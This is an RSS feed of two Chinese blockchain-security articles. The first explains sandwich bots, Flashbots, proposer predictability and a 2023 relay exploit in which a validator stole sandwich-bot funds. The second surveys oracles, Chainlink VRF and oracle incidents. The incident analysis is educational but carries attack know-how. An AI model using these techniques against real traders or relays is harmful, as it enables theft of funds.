零鉴科技 https://wechat2rss.xlab.app/feed/f7f4ab7bdc8c827727561bd14ed6c26ad0624a6f.xml 长沙零鉴科技有限公司 (wechat feed made by @ttttmr https://wechat2rss.xlab.app) (零鉴科技) https://wx.qlogo.cn/mmhead/Q3auHgzwzM6BZUOKLgIgk5RhaWQPOWubPvzooTv7ftFlex1FErONIw/0 零鉴科技 https://wechat2rss.xlab.app/feed/f7f4ab7bdc8c827727561bd14ed6c26ad0624a6f.xml Don't Eat My Sandwich https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247502907&idx=1&sn=3e243b398d98c5630b7e8bc4c730670f 三明治交易是一种利用闪电贷和 AMM 自动化做市商的策略，通过在交易对中同时进行两笔交易来实现利润。这种策略被广泛应用于去中心化交易所（DEX）和其他区块链金融应用中。 原创 零鉴科技 2023-07-28 16:20 北京

三明治交易是一种利用闪电贷和 AMM 自动化做市商的策略，通过在交易对中同时进行两笔交易来实现利润。这种策略被广泛应用于去中心化交易所（DEX）和其他区块链金融应用中。

三明治交易是一种利用闪电贷和 AMM 自动化做市商的策略，通过在交易对中同时进行两笔交易来实现利润。这种策略被广泛应用于去中心化交易所（DEX）和其他区块链金融应用中。然而，由于区块链的去中心化和透明性，这种策略也会成为攻击者的目标。本文将从三明治交易的原理出发，深入探讨一次针对以太坊三明治机器人的攻击事件，分析攻击者的手段和攻击原理。同时，我们也将介绍一些区块链上的基本概念和技术，以帮助读者更好地理解本文内容。


三明治攻击原理

三明治攻击是通过抢跑 (front-running) 与跟跑 (back-running) 组合形成的攻击手法。如果一个用户大量买入一种数字货币，那么该数字货币的价格便会上涨。如果能发现这样的大单交易，并且在大单交易之前买入该数字货币，在大单交易成交后立刻卖出该数字货币，那么这样便能通过该大单交易引发的价格差获取利润。
由于这种攻击手法用两笔交易"夹"住了目标的交易，因此三明治机器人也称为夹子机器人。

交易顺序如何决定

当交易者想要发起一个交易时，交易者会为交易设定一个 gas price。矿工会挑选 gas price 高的交易优先进行打包，因为高 gas price 一定程度上代表了了打包该交易能获得的收益。
而实际上矿工的收益还由最终执行合约使用的 gas 数量决定，因此攻击者会想方设法优化代码以此来降低合约使用的 gas 数量，进而降低攻击所需要的成本。


三明治机器人如何运转

1.在 mempool 中监听发向 dex（去中心化交易所）的交易
2.解析交易获取交易的相关信息
3.根据合约当前的状态计算出该交易可以引发的价格波动，进而计算出利润
4.如果利润大于发起交易的成本（gas），那么就发起两笔交易：第一笔交易是与目标交易对象相同的买入交易，并设定一个高于目标交易的 gas price，使该交易抢先在目标交易达成之前买入（front run）；第二笔交易是卖出交易，设定一个略低于目标交易的 gas price，使该交易在目标交易达成后立刻卖出（back run）。


当机器人开始争夺三明治

三明治攻击并非是稳定赚钱的，因为正如交易者的交易会在内存池一样，攻击者的交易同样也会在内存池，因此同样也会遭受到其他三明治机器人的攻击。当各方开始争夺这个三明治时，为了让自己的交易最先执行，贿赂给矿工的 gas 费会不断升高，直到这个 gas 费几乎等同于这次攻击能够获取的利润。
如果有一种方式能直接与矿工联系、或者干脆由自己来在区块中排序，而不是将自己的交易广播到内存池，那么对于普通的交易者而言他可以免受三明治攻击，而对于攻击者而言，他也能提高攻击的成功率，并且免受其他机器人的干扰，暗池由此而来。
通过暗池避免了被抢跑攻击： Escaping the Dark Forest
https://samczsun.com/escaping-the-dark-forest/


狩猎通用型三明治机器人

Defi-Cartel/salmonella: Wrecking sandwich traders for fun and profit
攻击者部署了一种恶意代币，当非合约拥有者 transfer 该代币时合约只发送代币数量的 10%。之后攻击者以一个稍低的 gas price 发起诱饵交易，当 gas price 下降后则取消该交易，直到该交易被机器人放进一个 bundle 中打包执行。由于该合约对非拥有者只发送目标数量的 10%，因此机器人的资金将被攻击者"掠走"。


FlashBots Auction

正常来说交易发起者通过将交易广播到交易池，让交易被矿工得知。矿工根据每笔交易的 gas price 来挑选能为他获得最大利润的交易打包到区块中。由于公开的交易池有被抢跑的风险，因此就有了暗池的出现，交易发起者可以通过将交易发送给特定的矿工或矿池来避免抢跑风险。这种方式被称为暗池交易。暗池交易虽然可以保证交易不被公开，但由于暗池并非是人人都有渠道去使用的，有些人认为这有违于以太坊作为一个去中心化、开放且透明的平台的原则，因此一个名为 FlashBots 的组织推出了一系列项目来创建一个“permissionless, transparent, and fair”的 MEV 生态。简单来说就是让人人都有暗池用。

We believe that without the adoption of neutral, public, open-source infrastructure for permissionless MEV extraction, MEV risks becoming an insiders’ game. We commit as an organization to releasing reference implementations for participation in fair, ethical, and politically neutral MEV extraction. By doing so, we hope to prevent the properties of Ethereum from being eroded by trust-based dark pools or proprietary channels which are key points of security weakness.

✦

✦


POW 时期的设计

FlashBots 引入了"searcher","transcation bundles"以及"block template"的概念。搜索者在交易池中搜索交易并将几个交易打包为一个 bundle，这些 bundle 可以在 FlashBots 协议中被矿工按照拍卖的形式购买，最终由矿工组成 block template，以期望从中获得最大化的 MEV。使用 MEV-Geth 客户端能够让矿工更容易地获取 MEV 收益，同时也提高了交易池的效率和安全性。

POS 升级之后

FlashBots 引入了新的概念：searcher、builder 和 relayer，用于协助矿工或验证人获取 MEV 收益。searcher 在交易池中搜索交易，并将几个交易打包成一个 bundle；builder 则将多个 bundle 组装成一个可以被验证人使用的区块模板，并将其发送到 relayer；relayer 选择最有利润的区块模板并将其分发给相应的验证人进行区块构建。



Overview | Flashbots Docs --- 概述 | Flashbots 文档


https://docs.flashbots.net/flashbots-auction/overview
如果攻击者可以获取并修改 bundle 中的交易，那么还是有机会对使用 flashbots 的交易进行攻击的。

Frontrunning As A Service

FlashBots Auction 的出现一方面能够让使用 flashbots 的交易避免被抢跑，但另外一方面同时也给了攻击者很大的便利。由于一个 bundle 是一组已排序好且未完成的以太坊交易，因此攻击者可以通过在内存池中搜索交易，并且将自己的交易与目标交易打包成一个 bundle 递交给 builder。并且小费是以 eth 形式转账给矿工的，这些交易不需要支付 Gas 费，失败的交易也不需要支付成本。只有当交易搜索者的捆绑交易被包含在一个区块中，捆绑交易中的小费才会支付给矿工，这大大降低了攻击者的成本。


Relayer, Validator, and PBS

现在假设我们是一个恶意的验证者，在以太坊潜伏了很长时间，终于等到了一次出块的机会，那么我们应该如何利用这个机会让我们的利益最大化？我们知道，来自 relayer 的区块往往都蕴含着很大的获利机会，因此 searcher 才会将这些交易打包为 bundle 投递给 block builder。那么此时作为 propersor，我们是否有可能抢跑这些 bundle 中的交易，将那些 bundle 中的利润化为己有呢？
在 POS 的机制下，如果我们既可以排序区块内交易的顺序又可以出块，相当于我们有了一次无风险且必定成功的抢跑机会。我们可以找出 bundle 中能获利的交易，将那笔利润变为自己的。于是便有了 PBS 机制（Proposer / Builder Separation），目的在于分离 proposer 与 builder 这两个角色。
实际上 relayer 正是为了防止这样情况的出现而设计的，relayer 并不会将 builder 构建的区块内容直接发送给 validator，而是仅仅发送区块头以告诉 validator 该区块可获取的利润。当确保 validator 会提议该区块出块后 (在 validator 对该区块头进行签名之后) 才会将区块的全部内容发送给 validator，这保证了 validator 无法再通过对区块进行修改来作恶。
·如果 relayer 是一个恶意 relayer，伪造了一个高利润的区块头（实际并不存在）发送给 validator 并被采用，那么该 validator 则会损失一个出块的利润。
·如果通过某种手段能够提前获取到 bundle 的内容，则恶意的 validator 就可以通过这个出块机会的时候获利。

Relayer 如何确保 proposer 会提议该区块
relay 在收到 proposer 签名的区块头后，会将该签名后的区块头发送到 beacon chain 供其他 validator 验证，以此来确保该 proposer 正确出块。


POS Proposer 选择

Block proposal | ethereum.org
https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/block-proposal/
以太坊将一个周期称为 epoch，每个 epoch 有 32 个 slot，每个 slot 代表一个出块机会。每个 slot 间隔 12s，每个 epoch 间隔 6.4min。
每个 epoch 将选举出 validator 委员会以验证区块的合法性，每个 slot 将选举一个 proposer 来出块。

The validator selection is fixed two epochs in advance as a way to protect against certain kinds of seed manipulation.


选举是提前两个 epoch决定的


可预测性 & 随机性

每个验证者是随机选出的，通过一个名为“RANDAO”的伪随机算法实现，该算法结合了每个区块提议者的 hash 与一个随着每个区块更新的种子。
proposer 的选择


def get_beacon_proposer_index(state: BeaconState) -> ValidatorIndex:  """  Return the beacon proposer index at the current slot.  """  epoch = get_current_epoch(state)  seed = hash(get_seed(state, epoch, DOMAIN_BEACON_PROPOSER) + int_to_bytes(state.slot, length=8))  indices = get_active_validator_indices(state, epoch)  return compute_proposer_index(state, indices, seed)
def compute_proposer_index(state: BeaconState, indices: Sequence[ValidatorIndex], seed: Bytes32) -> ValidatorIndex:    """    Return from ``indices`` a random index sampled by effective balance.    """    assert len(indices) > 0    MAX_RANDOM_BYTE = 2**8 - 1    i = uint64(0)    total = uint64(len(indices))    while True:        candidate_index = indices[compute_shuffled_index(i % total, total, seed)]        random_byte = hash(seed + uint_to_bytes(uint64(i // 32)))[i % 32]        effective_balance = state.validators[candidate_index].effective_balance        if effective_balance * MAX_RANDOM_BYTE >= MAX_EFFECTIVE_BALANCE * random_byte:            return candidate_index        i += 1



可以看到 proposer 的选择主要来源于这个 seed，那么这个 seed 是从哪里来呢？


proof of stake - How are block proposers selected in Ethereum 2.0? - Ethereum Stack Exchange


prysm-spike/randao.go at d5ac70f0406b445a276ee61ba10fdf0eb6aafa0f · silesiacoin/prysm-spike



def get_seed(state: BeaconState, epoch: Epoch, domain_type: DomainType) -> Hash:  """  Return the seed at ``epoch``.  """  mix = get_randao_mix(state, Epoch(epoch + EPOCHS_PER_HISTORICAL_VECTOR - MIN_SEED_LOOKAHEAD - 1))  # Avoid underflow  return hash(domain_type + int_to_bytes(epoch, length=8) + mix)
def get_randao_mix(state: BeaconState, epoch: Epoch) -> Hash: """ Return the randao mix at a recent ``epoch``. """ return state.randao_mixes[epoch % EPOCHS_PER_HISTORICAL_VECTOR]



MINSEEDLOOKAHEAD 被设置为 1 Upgrading Ethereum | 3.2.3 Preset
https://eth2book.info/altair/part3/config/preset/#min_seed_lookahead
可以看出 seed 由当前 epoch-2 的 randao_mixes 决定。

Current and past RANDAO values are stored in the beacon state（https://eth2book.info/bellatrix/part3/containers/state/#beaconstate） in the randao_mixes field. The current value is updated by process_randao（https://eth2book.info/bellatrix/part3/transition/block/#def_process_randao）with every block that the beacon chain processes.


那么这个 randao_mixes 又是如何计算的？

每个区块的所有交易计算结束后会调用 process_block，进而调用 process_randao


def process_block(state: BeaconState, block: BeaconBlock) -> None:    process_block_header(state, block)    process_randao(state, block.body)    process_eth1_data(state, block.body)    process_operations(state, block.body)
def process_randao(state: BeaconState, body: BeaconBlockBody) -> None:    epoch = get_current_epoch(state)    # Verify RANDAO reveal    proposer = state.validators[get_beacon_proposer_index(state)]    signing_root = compute_signing_root(epoch, get_domain(state, DOMAIN_RANDAO))    assert bls.Verify(proposer.pubkey, signing_root, body.randao_reveal)    # Mix in RANDAO reveal    mix = xor(get_randao_mix(state, epoch), hash(body.randao_reveal))    state.randao_mixes[epoch % EPOCHS_PER_HISTORICAL_VECTOR] = mi



根据这段代码可以看出，randaomix 来自之前的值与 randaoreveal。
randao_reveal 是出块者对该区块的签名


class BeaconBlockBody(Container):    randao_reveal: BLSSignature    eth1_data: Eth1Data  # Eth1 data vote    graffiti: Bytes32  # Arbitrary data    # Operations    proposer_slashings: List[ProposerSlashing, MAX_PROPOSER_SLASHINGS]    attester_slashings: List[AttesterSlashing, MAX_ATTESTER_SLASHINGS]    attestations: List[Attestation, MAX_ATTESTATIONS]    deposits: List[Deposit, MAX_DEPOSITS]    voluntary_exits: List[SignedVoluntaryExit, MAX_VOLUNTARY_EXITS]


总结一下:
·当前每个 slot 的 proposer 的选择是根据一个 seed 通过伪随机算法选取的
·seed 可以根据当前 epoch-2 的 randao_mixes 计算出来
·每个区块在出块时通过将区块的签名写入 randaoreveal 为 randaomixes 增加随机性
不难看出 proposer 在 epoch-2 到 epoch 这个时段内都是可以预测的。


Dusk for Sandwich Bots

4.3 发生了一起针对 sandwich bot 的攻击，攻击者通过利用漏洞的方式拿到了三明治的 bundle 并重新打包，套取了三明治机器人的钱。
https://twitter.com/samczsun/status/1642848556590723075?s=09&scene=ccm&logParams={"location":"ccm_default"}&lang=zh-CN


第一笔交易
tx hash：0xd2edf726fd3a7f179c1a93343e5c0c6ed13417837deb6fc61601d1ce9380e8d
cmevbot 合约：0xE8c060F8052E07423f71D445277c61AC5138A2e5操纵 mevbot 的钱包：0xe2cA3167B89b8Cf680D63B06E8AeEfc5E4EBe907


mevbot 在 uniswap 用 2, 454.100770074916814848 weth 买了 4.507832705794128225 STG


第二笔交易
tx hash：
0x4b2a2d03b3dc136ef94ebe2f3bc36231b104172bcb598104730898f7d81a55db
攻击者地址：
0x84cb986d0427e48a2a72be89d78f438b3a3c58d1
攻击者合约的地址：
0xe73f1576af5573714404a2e3181f7336d3d978f9
攻击者的合约在 uniswap 用 158.143384582646949233 STG 买了 2, 454.105651828533863963 WETH，将 mevbot 的钱全部划走


布局

攻击者部署的 uniswap 合约，2023.3.16 部署部署钱包：0x84cb986d0427e48a2a72be89d78f438b3a3c58d1

Uniswap V2: STG 5 | Address 0x410fb10ba8af78a1e191fe3067208d3212ded961 | Etherscan
同样在 3.16 成为 validator

Validator #552061 | Mainnet Beacon Chain (Phase 0) Ethereum 2.0 Explorer
攻击发生在 4.2，目前以太坊上有大概 50w 的 validator。因此如果以后有类似的共识层上的攻击，那么这个攻击的周期可能是半个月左右。
patch 代码
Chris Hager ⚡🤖 on Twitter: "The issue was a relay publishing the payload to the proposer even though parts of the beacon block were incorrect, preventing the relay from publishing the original block first. This allowed the proposer to access the block contents before another block had been finalized." / Twitter
https://github.com/flashbots/mev-boost-relay/pull/330/commits


原始流程：验证 validator 的签名->返回区块体内容->将签名的区块头发布到 beacon chain
patch 后的流程：验证 validator 签名->将签名的区块头发送到 beacon chain->如果成功则返回区块体内容
可以通过 patch 得出其关键就在于将区块头发布到 beacon chain 这个动作的成功才能返回区块体的内容，反之则会被攻击。
但是首先我们要知道校验 validator 头校验的是哪些部分
校验签名就不说了，校验签名之后还会校验该 header 是不是 relay 发送给 proposer 的那个，使用函数 EqExecutionPayloadToHeader 校验
该函数会将 header 转为名为 ExecutionPayload 的结构体并计算 hash，以此判断 proposer 是不是真的签名了该头。所以校验的内容就是如下字段：


// ExecutionPayload https://github.com/ethereum/consensus-specs/blob/dev/specs/bellatrix/beacon-chain.md#executionpayloadtype ExecutionPayload struct {  ParentHash    Hash            `json:"parent_hash" ssz-size:"32"`  FeeRecipient  Address         `json:"fee_recipient" ssz-size:"20"`  StateRoot     Root            `json:"state_root" ssz-size:"32"`  ReceiptsRoot  Root            `json:"receipts_root" ssz-size:"32"`  LogsBloom     Bloom           `json:"logs_bloom" ssz-size:"256"`  Random        Hash            `json:"prev_randao" ssz-size:"32"`  BlockNumber   uint64          `json:"block_number,string"`  GasLimit      uint64          `json:"gas_limit,string"`  GasUsed       uint64          `json:"gas_used,string"`  Timestamp     uint64          `json:"timestamp,string"`  ExtraData     ExtraData       `json:"extra_data" ssz-max:"32"`  BaseFeePerGas U256Str         `json:"base_fee_per_gas" ssz-max:"32"`  BlockHash     Hash            `json:"block_hash" ssz-size:"32"`  Transactions  []hexutil.Bytes `json:"transactions" ssz-max:"1048576,1073741824" ssz-size:"?,?"`}


要想获取到 relay 的 block body 中的内容，攻击者首先要通过验证，也就是攻击者签名了 relay 发送的 header。但是由于 relay 会将 block header 发布到 beacon chain 让其他 validator 去验证该 proposer 提议的区块是否与 relay 发送给 proposer 的区块一致，因此 proposer 仅拿到这个区块是没用的，proposer 还需要阻止他签名的正常 header 被发布才能防止其他 validator 验证他发布的区块。
patch 中将区块头发布到 beacon chain 这个行为提前，并且如果这个动作失败则停止继续发送区块体的内容，这说明攻击者正是利用了发布这个动作的失败使该区块头没有被发布到 beacon chain 上，使其他 validator 无法验证攻击者的区块。


Attack！

https://twitter.com/samczsun/status/1642848567781105664&scene=ccm&logParams={"location":"ccm_default"}&lang=zh-CN


Unfortunately, if the signed block was invalid, then it would never be accepted by the network, so there would be no race at all. By setting both the parent root and the state root to zero, that's exactly what the malicious validator did.


如果区块是非法区块，那么该区块将不会被接收。如图所示，攻击者通过将 parentroot 与 stateroot 字段置 0 使该区块非法。此时我们再回头看 relay 中校验的代码，会发现 ExecutionPayload 中并没有 parentroot 与 stateroot 相关的字段（有同名字段 state_root，但是并不是同一个）。攻击者通过修改这两个字段制造了既能通过 relay 校验但又无法被发布到 beacon chain 上 header。而由于 relay 并不关心发布到 beacon chain 上的结果，因此攻击者即拿到了 block 的全部内容，又躲过了其他 validator 的校验。
接下来就很简单了，攻击者拆解了整个 block，将自己的诱饵交易（大额买入）改为卖出，轻松换走了夹子机器人的钱。

Proposer Slashing

https://security.feishu.cn/link/safety?target=https://beaconscan.com/validator/552061&scene=ccm&logParams={"location":"ccm_default"}&lang=zh-CN

有一下三种行为的 proposer 会被 slash：
·By proposing and signing two different blocks for the same slot
·By attesting to a block that "surrounds" another one (effectively changing history)
·By "double voting" by attesting to two candidates for the same block
本次攻击的 proposer 触犯了第一条规则。
当有 validator 发现了 proposer 在同一个 slot 签署了两个不同区块头后，他会将这个 proposer 签署的两个区块头作为证据，然后作为一个消息广播到 beacon chain 上。然后将这个消息出块的 proposer 他们将获得 slash 的奖励。

本次攻击的 proposer 被 slash 的证据：

Block Slot 6142320 | Mainnet Beacon Chain (Phase 0) Ethereum 2.0 Explorer
https://beaconscan.com/slot/6142320#proposerslashing


代价

Upgrading Ethereum | 2.8.7 Slashing --- 升级以太坊 | 2.8.7 罚没
https://eth2book.info/altair/part2/incentives/slashing/#slashing

攻击者被 slash 后会立即损失 1/32 的以太坊，然后排队退出，并被设置一个 36 天的余额提取周期（剩下 31 个 eth 可以在 36 后提取，该期间无法提取，并且之后会有第二次惩罚）。

在其可提取期的一半（被削减后 18 天），被削减的验证者将受到第二次惩罚。

计算公式：

Correlation penalty=min(B,2SB/T)

crements in the list of slashed validators over the last 36 days, B my effective balance, and T the total increments, the calculation looks as follows.

slashing multiplier 目前似乎已经变为了 3

不管怎样，代价最多为攻击者所质押的 32 个 eth，而攻击者通过此次攻击所获得的收益早已远远大于这个数字。


阅读原文

跳转微信打开

]]> Fri, 28 Jul 2023 16:20:00 +0800 预言机——黑暗森林中的神谕or神罚？ https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247502694&idx=1&sn=5416b1e12b0fd701782e75a409b97bf0 预言机——黑暗森林中的神谕or神罚？ 原创 零鉴科技 2023-03-17 10:48 湖南

预言机——黑暗森林中的神谕or神罚？

在电影《黑客帝国》中有一位先知，名叫 Oracle，虽然看似不起眼，但其实她才是最关键策划者，把三大势力都放到她的局中。
而在区块链这一黑暗森林中，也有 Oracle，同样扮演了非常重要的角色，能够将区块链连接至真实世界中的数据和系统，但在这里，中文翻译不叫先知，而是叫预言机。
那什么是区块链预言机呢？

01

概述



预言机



预言机（Oracle），单从字面意思上来看，很容易地被大家联想成预测某些未来事件的机器，但其实不然。
这个名字翻译得并不形象，很容易地误导大家对它的理解。
先举个例子，比如说张三和李四想对这个星期六的比特币价格进行下注。
张三认为比特币的价格将在 8500 美元或更高，相反，小黑认为在 8000 美元或更低。
于是，他们设计了一个智能合约（双方都会向其发送资金），谁预测的价格更靠近实际价格，谁就赢得了资金。
到了星期六，智能合约取得比特币的价格后，比如返回的值是周六比特币价格为 8600 美元，那么智能合约将根据其条件执行并将所有资金发送给张三。
以上看似完成了一个去中心化且安全的赌约，但是「智能合约取得比特币的价格」这一过程并不简单。
如果直接让矿工在互联网上获取比特币的价格，我们无法保证每个节点获取的结果相同，这时验证者就会认为这是错误的数据，从而影响整个区块链达成共识。
         
像上面这样需要用到但又得不到链下数据的例子还有很多。我们迫切的需要一种工具使得区块链能够获取链下数据，从而预言机就应运而生了。
也就是说预言机是一个可以将外界信息传入到区块链工具。



预言机的分类



预言机可以分为链上和链下预言机。链上预言机因为闪电贷的出现，遭到了大量的攻击，并且它的能力有限，所以本文我们主要分析链下预言机。
从另一个角度，按照预言机系统运行的方式，又可以将预言机分为中心化预言机和去中心化预言机。



预言机的工作原理



预言机（Oracle）其实可以看作用户的智能合约和 Web Server 的中间件。
它会在链下向 Web Server 请求链下数据并传给链上的预言机合约，而用户的智能合约通过调用预言机的链上智能合约就可以获取链下数据。
我们以 Chainlink 为例，分析预言机的工作原理。
上图是 Chainlink 提供的 Oracle 的使用流程。白色的部分指链上，蓝色的部分指链下。
链上部分工作原理：以Chainlink为例，用户合约继承 Chainlink 提供的 ChainlinkClient 合约，然后向 Oracle Contract 发起请求数据的外部调用并支付一定的 LINK Token，此后 Oracle Contract 就会发起回调函数返回 ChainlinkClient 所请求的链下数据。这一过程就是 Chainlink 的链上工作流程。虽然在细节上可能有所不同，但大多的 Oracle 在这一过程其实与 Chainlink 大同小异。
链下部分工作原理：链下部分的工作其实就是之前提到的「Oracle 也会在链下不断地向 Web Server 请求链下数据并传给链上的 Oracle 合约」。不同的 Oracle 在这一过程中使用不同的方式。根据此方式的不同大致可以将 Oracle 分成中心化的 Oracle 和去中心化的 Oracle：
中心化的 Oracle：往往由唯一确定的一个或几个节点在互联网获取向 Oracle 合约传送链下数据。这样的结构使得 Oracle 的设计更简洁且简单，但同时却使得数据的可靠性，系统的稳定性难以得到保障。如易发生单点故障、易受攻击等，且需要 Oracle 的用户完全信任一个或者几个节点。往往大多数项目初期短期内选择使用自己搭建的中心化 Oracle 服务。如 Compound 使用的就是中心化的 Oracle 提供的数据。
去中心化的 Oracle：被更广泛的使用，因为它提供了更高的数据可靠性以及更高的系统稳定性。一个去中心化的 Oracle 往往有许多独立的节点，它们需要对链下数据达成共识，不同的 Oracle 节点获取到的数据不一定是相同的。因此他们需要一套共识机制，从而得出最终 Oracle 提供的数据结果。图中两个常见的 Oracle 共识机制。下面这个图里是两个最常见的去中心化预言机的链下结构。
图A中，Oracle 节点各自独立地向 Oracle Contract 提交链下数据，最终根据 Oracle Contract 中的逻辑达成对链下数据的共识。
图B中，Oracle 节点组成了一个去中心化的网络，也可以把它理解成一条去中心化的基于节点信誉二层网络，这些 Oracle 节点在链下直接达成共识，并由一个提案者向 Oracle Contract 提供链下数据以及 Oracle 节点们对这条数据的聚合签名。
如果该聚合签名签名者的数量超过设定的阈值，那么就能通过 Oracle Contract 的验证，这时链下数据就会被存入 Oracle Contract 中以达成对链下数据的共识。
作为去中心化的 Oracle 的代表，Chainlink 使用了图B中的设计模式，因为它能更好地节约gas费。



预言机的应用



前面说到，预言机其实是一个可以将外界信息写入到区块链的工具。所以说一切需要与链下进行数据交互的 DApp 都需要使用到预言机。
如借贷平台、稳定币、NFT、金融衍生品交易平台、快递追踪/IoT、博彩游戏、保险、预测市场等。

DeFi：包括借贷平台、稳定币和金融衍生品交易平台在内的 DeFi 领域是现在预言机服务最主要的使用者。AAVE，Compound 等借贷平台需要知道某种加密货币的价格，如 ETH / USDT 的价格，来计算抵押物价值、用户健康度以及确定是否某个用户的抵押物价值过低需要被清算等。而现有区块链内部系统中的 DEX 的所提供加密货币价格十分容易被闪电贷攻击而篡改。所以这些借贷平台往往都会依靠链下预言机提供的加密货币的价格。类似 DAI 这样的稳定币系统，也同样需要获取 ETH 的实时价格，来判断所抵押的加密货币是否达到了平仓价格进而触发平仓。另外，像 Synthetix 这样的去中心化金融衍生品交易平台也需要链下的金融数据才能正常运作。

NFT：NFT 越来越被大众所认可，但是 NFT 和链下数据的绑定和交换一直是一个难以解决的难题。比如与体育运动相关的 NFT，为进球数量达到一定数量的球星生成 NFT，这个时候我们需要每次手动地操作吗？这时我们可以使用预言机去自动且快速地基于链下数据生成 NFT。
博彩游戏：现在的大多数博彩游戏都是在链上生成随机数，所以很容易被预测和破解，导致资产被盗。大家有兴趣的可以去看一下博彩 DApp 被盗的相关研究报告，很多因为随机数问题被盗的。比如 BetDice、Dice2Win。而使用预言机提供的 VRF 服务（后面会提到），可以保证向链上提供链下生成不可预测且可验证的随机数，博彩合约就可以使用该随机数设计游戏规则了。
保险：保险行业的用户们其实迫切地需要一个公开透明的保险产品，以保障自己的利益。而区块链技 术就为此提供了基石。但保险中最为重要的一环——理赔，由于这一过程涉及到了链下的信息，难以在链上直接完成。这时需要预言机提供链下生成的是否理赔的报告结果传到链上，保证保险流程的正确运行。在区块链上已经有一些保险相关的 DApp 。如Nexus Mutual 保险协议，利用预言机在将理赔报告并发布到区块链之前验证理赔。
除此之外预言机的应用其实还有很多，如物联网、预测市场等。



主流的预言机服务提供商



1、Chainlink
https://chain.link/
Chainlink 是行业内最大的预言机服务提供商，市值一度曾超过十亿美元大关。它主要为基于 EVM 的一层网络、二层网络以及 Solana 提供去中心化的预言机服务。
主要包括提供链下数据、VRF 以及 Chainlink Automation（智能合约的自动化调用）服务。被大量的其他顶尖 Web3 应用所使用，如 AAVE, Compound, Synthetis, ENS 等。
2、Universal Market Access (UMA)
https://umaproject.org/
UMA 是一个基于以太坊的预言机。但 UMA 除了提供预言机服务外，还为用户提供智能合约模板「以创建金融资产以及组合资产合约」。
通过使用 UMA 提供的平台，用户可以轻易地将现实世界的金融资产数字化、代币化。
通过这种方式，Defi 可以更加轻松广泛地渗入现实世界。
此外，UMA 同样也是开源且去中心化的——所有智能合约都由 UMA 社区运行和管理，他们使用 UMA 代币投票和提交提案。
3、API3
https://api3.org/
API3 是一个社区管理的预言机。API3 Oracle直接从数据来源方请求一手数据，这与其他使用预言机节点作为中介来搜索、查询和传递数据的预言机有所不同。
4、WinkLink
https://winklink.org/#/home
首个波场生态全系统预言机，可以认为是波场链上的Chainlink。它除了提供普通资产的价格数据之外，还为区块链提供合成资产的价格数据。
此外WINkLink作为去中心化预言机还建立了保证金惩罚制度，激励节点诚实守信。采用博弈论的原理激励节点提供准确的数据，提高预言机的安全性。
除此之外，区块链中还有 Band Protocol, Nest Protocol, plugchain, XYO Network, WINkLink, DIA 等预言机服务提供商。


02

深入了解预言机




使用Chainlink预言机



使用 Chainlink 预言机为我们的智能合约提供链下数据：
官方文档：https://docs.chain.link/data-feeds/price-feeds

1、首先我们需要获取预言机的地址，以BTC/USD的价格为例，它在Goerli测试网的地址为：

0xA39434A63A52E749F02807ae27335515BA4b07F7。

2、从 @chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol 文件中引入接口AggregatorV3Interface。并将预言机地址作为实现。

3、现在我们只需要在合约中调用latestRoundData()就可以获取到BTC/USD的最新价格。

Chainlink 免费提供了主流的代币和货币的价格，可以直接用上面的方法取得。
同时Chainlink还支持自定义 API 的预言机，这时 Chainlink 的 DON（去中心化预言机网络）会从智能合约获取我们自定义的 API 代码，然后获取并上传数据到链上，不过这样的自定义 API 需要付费使用，Chainlink 仅接受 Link 作为支付代币。



常见预言机攻击面



预言机的VRF为链上博彩提供数据支撑

博彩一直是一个多金且游走在法律边缘的行业。它的本质其实就是对某一随机事件的预测，所以它需要一个不可预测且可验证的随机数。

区块链提供了一个透明且去中心化的平台，这两个特点迎合了博彩行业用户的需求。

但是区块链却很难独立的产生随机数，因为智能合约需要不管在何时何地运行都得到一致的结果，没有随机性可言，而 BlockHash 这样的随机数很容易被出块者篡改。导致博彩合约难以在区块链系统中得到需要的随机源。
而 Oracle 就能提供链下生成的随机数满足这一需求。
VRF (Verifiable Random Function)是一个可证明和验证的随机数生成器 (RNG)。
它常被 Oracle 用于向链上提供不可篡改且可验证的随机数。同时它也在 PoS 的区块链中，常常被用于作为随机选举出块者和验证者的随机源。
VRF 的数据输入通常包含一对公钥和私钥（也称为“verification key”和“secret key”）以及一个 seed 。
Oracle 利用这三个数据为博彩合约提供不可篡改且可验证的随机数的过程如下：

1、博彩合约向 VRF 合约发起随机数请求，然后 VRF 合约会先通过一个固定算法生成一个 preSeed，同时记录下当前这笔交易的 blockNumber，然后将 preSeed 作为 Event Log 内容发送至以太坊上。

2、Oracle 会监听到此 Event 后，就得到了 preSeed 和 blockNumber，并且根据 blockNumber 得到对应的blockHash。

3、在等待指定数量的区块确认之后，Oracle 用自己的私钥将上述包括 preSeed、blockHash 在内的参数作为前面提到的 seed 去生成随机数以及Proof，并将它们提交回 VRF 合约中。

4、这时VRF合约会根据自己生成的 preSeed，blockHash 和公钥去验证这个随机数和 Proof。

5、如果验证通过，这个随机数就可以被博彩合约使用了。如果验证不通过，那么这次 Oracle 提交的 Proof 交易就会被回滚，这样 Oracle 节点就无法获取奖励。


VRF 之所以能产生不可预测的随机数，主要是因为采用了两个未知因素：
1.  BlockHash（在区块被矿工打包确认前是未知的，被打包之后才能确定）
2.  VRF 中由 Oracle 持有的私钥
随机数的生成如果只有 BlockHash 作为 seed 来源，那么矿工可能作恶；如果只有 Oracle 的 Proof 作为来源，那么 Oracle 节点可能作恶。
所以 VRF 巧妙的结合了这两个未知来源，Oracle 节点用其私钥构建的 Proof 中包含了 BlockHash 及 preSeed 这两个参数，保证了随机数的不可预测性，除非 Oracle Nodes 和矿工共谋作恶。



针对预言机的攻击事件



1、Synthetix sKRW预言机故障：
Synthetix 是一个衍生品平台，它允许用户访问其他货币等资产。为了实现这一目标，当时的 Synthetix 依赖于一个定制的链外喂价实现，其喂价数据以固定的时间间隔发布到链上。
这些价格允许用户对支持的资产做多或做空。
2019年6月25日，Synthetix 依赖的一份喂价报告称，韩元的价格比真实汇率高出1000倍。
由于价格预言机系统中其他地方的错误，这一价格被系统接受并发布到链上，随后一个交易机器人迅速进出这个 sKRW 市场从该漏洞中牟利。
尽管 Synthetix 团队与交易者协商，希望其返还资金以换取漏洞奖励，但总的来说，这个机器人有能力赚取超过10亿美元的利润。
2、Belt Finance AMM：
2021年5月30日，币安智能链上多策略收益优化 AMM 协议 Belt Finance遭遇闪电贷攻击，四个资金池受到影响，损失620万美元。
